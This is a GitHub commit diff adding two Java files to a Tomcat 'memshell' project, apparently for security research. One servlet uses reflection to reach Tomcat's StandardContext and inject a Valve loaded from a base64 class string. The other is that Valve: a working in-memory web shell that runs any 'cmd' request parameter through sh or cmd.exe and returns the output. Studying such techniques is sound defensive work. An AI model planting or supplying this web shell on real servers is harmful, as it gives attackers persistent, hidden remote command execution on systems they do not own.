-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
7097746
commit 0e5a575
Showing
6 changed files
with
127 additions
and
4 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
63 changes: 63 additions & 0 deletions
63
...omcat/ServletAPI/TomcatServletAPIMemshell/src/main/java/com/summer233/AddTomcatValve.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,63 @@ | ||
package com.summer233; | ||
|
||
import org.apache.catalina.Valve; | ||
import org.apache.catalina.core.StandardContext; | ||
|
||
import javax.servlet.ServletContext; | ||
import javax.servlet.ServletException; | ||
import javax.servlet.annotation.WebServlet; | ||
import javax.servlet.http.HttpServlet; | ||
import javax.servlet.http.HttpServletRequest; | ||
import javax.servlet.http.HttpServletResponse; | ||
import java.io.IOException; | ||
import java.lang.reflect.Field; | ||
|
||
// import static com.summer233.DynamicUtils.VALVE_CLASS_STRING; | ||
import static com.summer233.DynamicUtils.SUMMER_CMD_VALVE_CLASS_BASE64_STRING; | ||
|
||
/** | ||
* 访问这个 Servlet 将会动态添加自定义 Valve | ||
* 测试版本 Tomcat 8.5.31 | ||
* | ||
* @author su18,233 | ||
*/ | ||
@WebServlet(name = "AddTomcatValve", urlPatterns = "/addValve") | ||
public class AddTomcatValve extends HttpServlet { | ||
|
||
@Override | ||
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { | ||
|
||
try { | ||
|
||
// 从 request 中获取 servletContext | ||
ServletContext servletContext = req.getServletContext(); | ||
|
||
// 如果已有此 servletName 的 Servlet,则不再重复添加 | ||
StandardContext o = null; | ||
|
||
// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象 | ||
while (o == null) { | ||
Field f = servletContext.getClass().getDeclaredField("context"); | ||
f.setAccessible(true); | ||
Object object = f.get(servletContext); | ||
|
||
if (object instanceof ServletContext) { | ||
servletContext = (ServletContext) object; | ||
} else if (object instanceof StandardContext) { | ||
o = (StandardContext) object; | ||
} | ||
} | ||
|
||
// 添加自定义 Valve | ||
// o.addValve((Valve) DynamicUtils.getClass(VALVE_CLASS_STRING).newInstance()); | ||
o.addValve((Valve) DynamicUtils.getClass(SUMMER_CMD_VALVE_CLASS_BASE64_STRING).newInstance()); | ||
|
||
resp.getWriter().println("tomcat valve added"); | ||
|
||
} catch (Exception e) { | ||
e.printStackTrace(); | ||
} | ||
|
||
} | ||
|
||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
53 changes: 53 additions & 0 deletions
53
...omcat/ServletAPI/TomcatServletAPIMemshell/src/main/java/com/summer233/SummerCMDValve.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,53 @@ | ||
package com.summer233; | ||
|
||
import java.io.IOException; | ||
import javax.servlet.ServletException; | ||
import org.apache.catalina.connector.Request; | ||
import org.apache.catalina.connector.Response; | ||
import org.apache.catalina.valves.ValveBase; | ||
|
||
import java.io.InputStream; | ||
import java.io.PrintWriter; | ||
import java.util.Scanner; | ||
|
||
public class SummerCMDValve extends ValveBase { | ||
public SummerCMDValve() { | ||
} | ||
|
||
public void invoke(Request request, Response response) throws IOException, ServletException { | ||
try { | ||
response.setContentType("text/html; charset=UTF-8"); | ||
response.setCharacterEncoding("UTF-8"); | ||
response.getWriter().println("Here is SummerCMDValve~<br>"); | ||
|
||
String cmd = request.getParameter("cmd"); | ||
if (cmd != null) { | ||
boolean isLinux = true; | ||
ProcessBuilder processBuilderOS = new ProcessBuilder("whoami"); | ||
Process processOS = processBuilderOS.start(); | ||
InputStream inOS = processOS.getInputStream(); | ||
try (Scanner scannerOS = new Scanner(inOS).useDelimiter("\\a")) { | ||
String outputOS = scannerOS.hasNext() ? scannerOS.next() : ""; | ||
// 如果输出中包含 \ 则说明是Windows, 毕竟 Linux 用户没有域名, Windows 的 whoami 输出是 域名\用户名 | ||
if (outputOS.contains("\\")) { | ||
isLinux = false; | ||
} | ||
} | ||
String[] cmds = isLinux ? new String[] { "sh", "-c", cmd } | ||
: new String[] { "cmd.exe", "/c", cmd }; | ||
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); | ||
try (Scanner s = new Scanner(in).useDelimiter("\\a")) { | ||
String output = s.hasNext() ? s.next() : ""; | ||
try (PrintWriter responseWriter = response.getWriter()) { | ||
responseWriter.println(output); | ||
responseWriter.flush(); | ||
} | ||
} | ||
} | ||
} catch (Exception var5) { | ||
var5.printStackTrace(); | ||
} | ||
|
||
this.getNext().invoke(request, response); | ||
} | ||
} |